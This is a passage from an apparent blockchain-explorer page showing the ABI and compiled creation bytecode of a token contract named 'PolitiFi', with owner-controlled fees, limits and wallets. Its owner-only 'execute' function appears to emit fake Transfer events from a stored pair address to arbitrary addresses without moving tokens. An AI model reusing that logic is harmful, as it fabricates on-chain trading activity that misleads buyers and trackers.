ndexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeProjectWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"name":"checkMappings","outputs":[{"internalType":"bool","name":"_transferTaxExempt","type":"bool"},{"internalType":"bool","name":"_transferLimitExempt","type":"bool"},{"internalType":"bool","name":"_automatedMarketMakerPairs","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"exemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"exemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxValues","outputs":[{"internalType":"bool","name":"_limitsEnabled","type":"bool"},{"internalType":"bool","name":"_transferDelayEnabled","type":"bool"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"},{"internalType":"uint256","name":"_maxTx","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiverwallets","outputs":[{"internalType":"address","name":"_marketingWallet","type":"address"},{"internalType":"address","name":"_projectWallet","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFeesSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_min","type":"uint256"},{"internalType":"uint256","name":"_max","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"setTheMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapbackValues","outputs":[{"internalType":"bool","name":"_swapbackEnabled","type":"bool"},{"internalType":"uint256","name":"_swapBackValueMin","type":"uint256"},{"internalType":"uint256","name":"_swapBackValueMax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxValues","outputs":[{"internalType":"uint256","name":"_buyTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_buyMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_buyProjectTax","type":"uint256"},{"internalType":"uint256","name":"_sellTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_sellMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_sellProjectTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"unwrap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526000600960156101000a81548160ff0219169083151502179055506001600c5565013ca6512000600d556001601260006101000a81548160ff0219169083151502179055506001601260016101000a81548160ff0219169083151502179055506001601260026101000a81548160ff0219169083151502179055506000601260036101000a81548160ff021916908315150217905550348015620000a757600080fd5b5060405162006299380380620062998339818101604052810190620000cd919062000bbf565b816040518060400160405280600881526020017f506f6c69746946690000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f506f6c697469466900000000000000000000000000000000000000000000000081525081600490816200014b919062000e80565b5080600590816200015d919062000e80565b50505080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001c1620001b56200052460201b60201c565b6200052c60201b60201c565b5080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060006200022e620005f260201b60201c565b600a6200023c9190620010f7565b64174876e8006200024e919062001148565b905062000263826001620005fb60201b60201c565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506000601490506000806014905060006103e8600a86620002b8919062001148565b620002c49190620011c2565b6010819055506103e8600a86620002dc919062001148565b620002e89190620011c2565b600f819055506103e860018662000300919062001148565b6200030c9190620011c2565b600a81905550606460028662000323919062001148565b6200032f9190620011c2565b600b819055508160188190555080601981905550601954601854620003559190620011fa565b60178190555083601581905550826016819055506016546015546200037b9190620011fa565b60148190555033601260046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000416336001620006b660201b60201c565b62000429306001620006b660201b60201c565b6200043e61dead6001620006b660201b60201c565b62000473601260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620006b660201b60201c565b62000486336001620005fb60201b60201c565b62000499306001620005fb60201b60201c565b620004ae61dead6001620005fb60201b60201c565b620004e3601260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620005fb60201b60201c565b620004f4336200077160201b60201c565b6200050633866200080760201b60201c565b620005166200097f60201b60201c565b50505050505050506200142a565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b6200060b620009f460201b60201c565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051620006aa919062001252565b60405180910390a25050565b620006c6620009f460201b60201c565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000765919062001252565b60405180910390a25050565b62000781620009f460201b60201c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603620007f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007ea90620012f6565b60405180910390fd5b62000804816200052c60201b60201c565b50565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000879576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008709062001368565b60405180910390fd5b6200088d6000838362000a8560201b60201c565b8060036000828254620008a19190620011fa565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620008f89190620011fa565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200095f91906200139b565b60405180910390a36200097b6000838362000a8a60201b60201c565b5050565b6200098f620009f460201b60201c565b6001601260036101000a81548160ff0219169083151502179055506000601260006101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b62000a046200052460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000a2a62000a8f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000a83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a7a9062001408565b60405180910390fd5b565b505050565b505050565b60008062000aa262000aab60201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000b2c57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b878262000b5a565b9050919050565b62000b998162000b7a565b811462000ba557600080fd5b50565b60008151905062000bb98162000b8e565b92915050565b6000806040838503121562000bd95762000bd862000b55565b5b600062000be98582860162000ba8565b925050602062000bfc8582860162000ba8565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c8857607f821691505b60208210810362000c9e5762000c9d62000c40565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cc9565b62000d14868362000cc9565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d6162000d5b62000d558462000d2c565b62000d36565b62000d2c565b9050919050565b6000819050919050565b62000d7d8362000d40565b62000d9562000d8c8262000d68565b84845462000cd6565b825550505050565b600090565b62000dac62000d9d565b62000db981848462000d72565b505050565b5b8181101562000de15762000dd560008262000da2565b60018101905062000dbf565b5050565b601f82111562000e305762000dfa8162000ca4565b62000e058462000cb9565b8101602085101562000e15578190505b62000e2d62000e248562000cb9565b83018262000dbe565b50505b505050565b600082821c905092915050565b600062000e556000198460080262000e35565b1980831691505092915050565b600062000e70838362000e42565b9150826002028217905092915050565b62000e8b8262000c06565b67ffffffffffffffff81111562000ea75762000ea662000c11565b5b62000eb3825462000c6f565b62000ec082828562000de5565b600060209050601f83116001811462000ef8576000841562000ee3578287015190505b62000eef858262000e62565b86555062000f5f565b601f19841662000f088662000ca4565b60005b8281101562000f325784890151825560018201915060208501945060208101905062000f0b565b8683101562000f52578489015162000f4e601f89168262000e42565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000ff55780860481111562000fcd5762000fcc62000f67565b5b600185161562000fdd5780820291505b808102905062000fed8562000f96565b945062000fad565b94509492505050565b600082620010105760019050620010e3565b81620010205760009050620010e3565b816001811462001039576002811462001044576200107a565b6001915050620010e3565b60ff84111562001059576200105862000f67565b5b8360020a91508482111562001073576200107262000f67565b5b50620010e3565b5060208310610133831016604e8410600b8410161715620010b45782820a905083811115620010ae57620010ad62000f67565b5b620010e3565b620010c3848484600162000fa3565b92509050818404811115620010dd57620010dc62000f67565b5b81810290505b9392505050565b600060ff82169050919050565b6000620011048262000d2c565b91506200111183620010ea565b9250620011407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ffe565b905092915050565b6000620011558262000d2c565b9150620011628362000d2c565b9250828202620011728162000d2c565b915082820484148315176200118c576200118b62000f67565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620011cf8262000d2c565b9150620011dc8362000d2c565b925082620011ef57620011ee62001193565b5b828204905092915050565b6000620012078262000d2c565b9150620012148362000d2c565b92508282019050808211156200122f576200122e62000f67565b5b92915050565b60008115159050919050565b6200124c8162001235565b82525050565b600060208201905062001269600083018462001241565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000620012de6026836200126f565b9150620012eb8262001280565b604082019050919050565b600060208201905081810360008301526200131181620012cf565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001350601f836200126f565b91506200135d8262001318565b602082019050919050565b60006020820190508181036000830152620013838162001341565b9050919050565b620013958162000d2c565b82525050565b6000602082019050620013b260008301846200138a565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620013f06020836200126f565b9150620013fd82620013b8565b602082019050919050565b600060208201905081810360008301526200142381620013e1565b9050919050565b608051614e3e6200145b6000396000818161220f015281816132df015281816133c001526133e70152614e3e6000f3fe6080604052600436106102555760003560e01c806395d89b4111610139578063d0889358116100b6578063e884f2601161007a578063e884f260146108ae578063f242ab41146108c5578063f2fde38b146108f0578063f3dc390214610919578063fab82a8e14610949578063fcbb7607146109755761025c565b8063d0889358146107c9578063db05e5cb146107f2578063dd62ed3e14610809578063de0e9a3e14610846578063e13b20071461086f5761025c565b8063a457c2d7116100fd578063a457c2d7146106d2578063a4c82a001461070f578063a9059cbb1461073a578063bb85c6d114610777578063c2b7bbb6146107a05761025c565b806395d89b411461060357806399e5b5c81461062e5780639a7a23d6146106575780639b6b5499146106805780639fe64094146106a95761025c565b806331f81511116101d25780635580145f116101965780635580145f1461050557806370a082311461052e578063715018a61461056b578063730c18881461058257806377b5312c146105ab5780638da5cb5b146105d85761025c565b806331f815111461041d578063395093511461044b5780634ada218b146104885780634b896a3e146104b357806352d65858146104dc5761025c565b806326ededb81161021957806326ededb81461035c578063293230b8146103855780632c3e486c1461039c5780632e82f1a0146103c7578063313ce567146103f25761025c565b806306fdde0314610261578063095ea7b31461028c57806318160ddd146102c9578063199ffc72146102f457806323b872dd1461031f5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b5061027661099e565b60405161028391906135cb565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae919061368b565b610a30565b6040516102c091906136e6565b60405180910390f35b3480156102d557600080fd5b506102de610a4e565b6040516102eb9190613710565b60405180910390f35b34801561030057600080fd5b50610309610a58565b6040516103169190613710565b60405180910390f35b34801561032b57600080fd5b506103466004803603810190610341919061372b565b610a5e565b60405161035391906136e6565b60405180910390f35b34801561036857600080fd5b50610383600480360381019061037e91906137e3565b610b56565b005b34801561039157600080fd5b5061039a610c33565b005b3480156103a857600080fd5b506103b1610ca0565b6040516103be9190613710565b60405180910390f35b3480156103d357600080fd5b506103dc610ca6565b6040516103e991906136e6565b60405180910390f35b3480156103fe57600080fd5b50610407610cb9565b604051610414919061385f565b60405180910390f35b34801561042957600080fd5b50610432610cc2565b604051610442949392919061387a565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d919061368b565b610cfc565b60405161047f91906136e6565b60405180910390f35b34801561049457600080fd5b5061049d610da8565b6040516104aa91906136e6565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d591906138bf565b610dbb565b005b3480156104e857600080fd5b5061050360048036038101906104fe91906138ec565b610e69565b005b34801561051157600080fd5b5061052c600480360381019061052791906138bf565b610f20565b005b34801561053a57600080fd5b506105556004803603810190610550919061392c565b610fce565b6040516105629190613710565b60405180910390f35b34801561057757600080fd5b50610580611016565b005b34801561058e57600080fd5b506105a960048036038101906105a49190613985565b61102a565b005b3480156105b757600080fd5b506105c06110f6565b6040516105cf939291906139d8565b60405180910390f35b3480156105e457600080fd5b506105ed61111c565b6040516105fa9190613a1e565b60405180910390f35b34801561060f57600080fd5b50610618611146565b60405161062591906135cb565b60405180910390f35b34801561063a57600080fd5b506106556004803603810190610650919061392c565b6111d8565b005b34801561066357600080fd5b5061067e60048036038101906106799190613a39565b6112a0565b005b34801561068c57600080fd5b506106a760048036038101906106a29190613a39565b611346565b005b3480156106b557600080fd5b506106d060048036038101906106cb91906138ec565b6113f7565b005b3480156106de57600080fd5b506106f960048036038101906106f4919061368b565b6114ae565b60405161070691906136e6565b60405180910390f35b34801561071b57600080fd5b50610724611599565b6040516107319190613710565b60405180910390f35b34801561074657600080fd5b50610761600480360381019061075c919061368b565b61159f565b60405161076e91906136e6565b60405180910390f35b34801561078357600080fd5b5061079e6004803603810190610799919061392c565b6115bd565b005b3480156107ac57600080fd5b506107c760048036038101906107c2919061392c565b611685565b005b3480156107d557600080fd5b506107f060048036038101906107eb9190613a79565b6116d1565b005b3480156107fe57600080fd5b50610807611806565b005b34801561081557600080fd5b50610830600480360381019061082b9190613acc565b611858565b60405161083d9190613710565b60405180910390f35b34801561085257600080fd5b5061086d600480360381019061086891906138bf565b6118df565b005b34801561087b57600080fd5b506108966004803603810190610891919061392c565b6119bc565b6040516108a593929190613b0c565b60405180910390f35b3480156108ba57600080fd5b506108c3611ab5565b005b3480156108d157600080fd5b506108da611b07565b6040516108e79190613a1e565b60405180910390f35b3480156108fc57600080fd5b506109176004803603810190610912919061392c565b611b2d565b005b34801561092557600080fd5b5061092e611bb0565b60405161094096959493929190613b43565b60405180910390f35b34801561095557600080fd5b5061095e611bdf565b60405161096c929190613ba4565b60405180910390f35b34801561098157600080fd5b5061099c60048036038101906109979190613a39565b611c30565b005b6060600480546109ad90613bfc565b80601f01602080910402602001604051908101604052809291908181526020018280546109d990613bfc565b8015610a265780601f106109fb57610100808354040283529160200191610a26565b820191906000526020600020905b815481529060010190602001808311610a0957829003601f168201915b5050505050905090565b6000610a44610a3d611ce1565b8484611ce9565b6001905092915050565b6000600354905090565b600c5481565b6000610a6b848484611eb2565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ab6611ce1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2d90613c9f565b60405180910390fd5b610b4a85610b42611ce1565b858403611ce9565b60019150509392505050565b610b5e612b1f565b60005b83839050811015610c2d57838382818110610b7f57610b7e613cbf565b5b9050602002016020810190610b94919061392c565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c129190613710565b60405180910390a38080610c2590613d1d565b915050610b61565b50505050565b610c3b612b1f565b6001601260036101000a81548160ff0219169083151502179055506000601260006101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b600d5481565b601260029054906101000a900460ff1681565b60006009905090565b600080600080601260009054906101000a900460ff169350601260019054906101000a900460ff169250600f549150601054905090919293565b6000610d9e610d09611ce1565b848460026000610d17611ce1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d999190613d65565b611ce9565b6001905092915050565b601260039054906101000a900460ff1681565b610dc3612b1f565b6005811015610e07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfe90613e0b565b60405180910390fd5b6103e8610e12610a4e565b82610e1d9190613e2b565b610e279190613e9c565b600f819055507f12528a3c61e0f3b2d6fc707a9fc58b1af86e252cad0d7f4c154ebeabb162dace600f54604051610e5e9190613710565b60405180910390a150565b610e71612b1f565b8160188190555080601981905550601954601854610e8f9190613d65565b60178190555060646017541115610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed290613f3f565b60405180910390fd5b7f38513c502b0ab4834ac1df9502b76f75dcf7092469782cfd0db7fe664388e25e601754601854601954604051610f1493929190613f5f565b60405180910390a15050565b610f28612b1f565b6002811015610f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6390613fe2565b60405180910390fd5b6103e8610f77610a4e565b82610f829190613e2b565b610f8c9190613e9c565b6010819055507fff3dd5e80294197918c284bbfc3dadd97d0b40ce92106110946329088f80068a601054604051610fc39190613710565b60405180910390a150565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61101e612b1f565b6110286000612b9d565b565b611032612b1f565b610258831015611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e90614074565b60405180910390fd5b6103e8821115801561108a575060008210155b6110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c090614106565b60405180910390fd5b82600d8190555081600c8190555080601260026101000a81548160ff021916908315150217905550505050565b6000806000600960159054906101000a900460ff169250600a549150600b549050909192565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461115590613bfc565b80601f016020809104026020016040519081016040528092919081815260200182805461118190613bfc565b80156111ce5780601f106111a3576101008083540402835291602001916111ce565b820191906000526020600020905b8154815290600101906020018083116111b157829003601f168201915b5050505050905090565b6111e0612b1f565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb91dbdeaf34f885ccae2d8abc3967cb03c079b6af2c7944e3893fd29427d75e760405160405180910390a380601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112a8612b1f565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611338576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132f90614198565b60405180910390fd5b6113428282612c63565b5050565b61134e612b1f565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516113eb91906136e6565b60405180910390a25050565b6113ff612b1f565b816015819055508060168190555060165460155461141d9190613d65565b60148190555060646014541115611469576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114609061422a565b60405180910390fd5b7fcb5f36df892836a2eaedc349de29a7581176990398ee185d16eaa8f6c1abd8f16014546015546016546040516114a293929190613f5f565b60405180910390a15050565b600080600260006114bd611ce1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561157a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611571906142bc565b60405180910390fd5b61158e611585611ce1565b85858403611ce9565b600191505092915050565b600e5481565b60006115b36115ac611ce1565b8484611eb2565b6001905092915050565b6115c5612b1f565b601260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380601260046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61168d612b1f565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6116d9612b1f565b600182101561171d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117149061434e565b60405180910390fd5b81811015611760576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611757906143e0565b60405180910390fd5b82600960156101000a81548160ff02191690831515021790555061271082611786610a4e565b6117909190613e2b565b61179a9190613e9c565b600a81905550612710816117ac610a4e565b6117b69190613e2b565b6117c09190613e9c565b600b819055507f52cd2cdb42ff0eeec9362d7ed5b04f64c8d022697128b5378fc51cea7e63c7798383836040516117f9939291906139d8565b60405180910390a1505050565b61180e612b1f565b6000601260006101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b806118e933610fce565b101561192a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119219061444c565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161198792919061446c565b600060405180830381600087803b1580156119a157600080fd5b505af11580156119b5573d6000803e3d6000fd5b5050505050565b6000806000601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169250601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690509193909250565b611abd612b1f565b6000601260016101000a81548160ff021916908315150217905550427f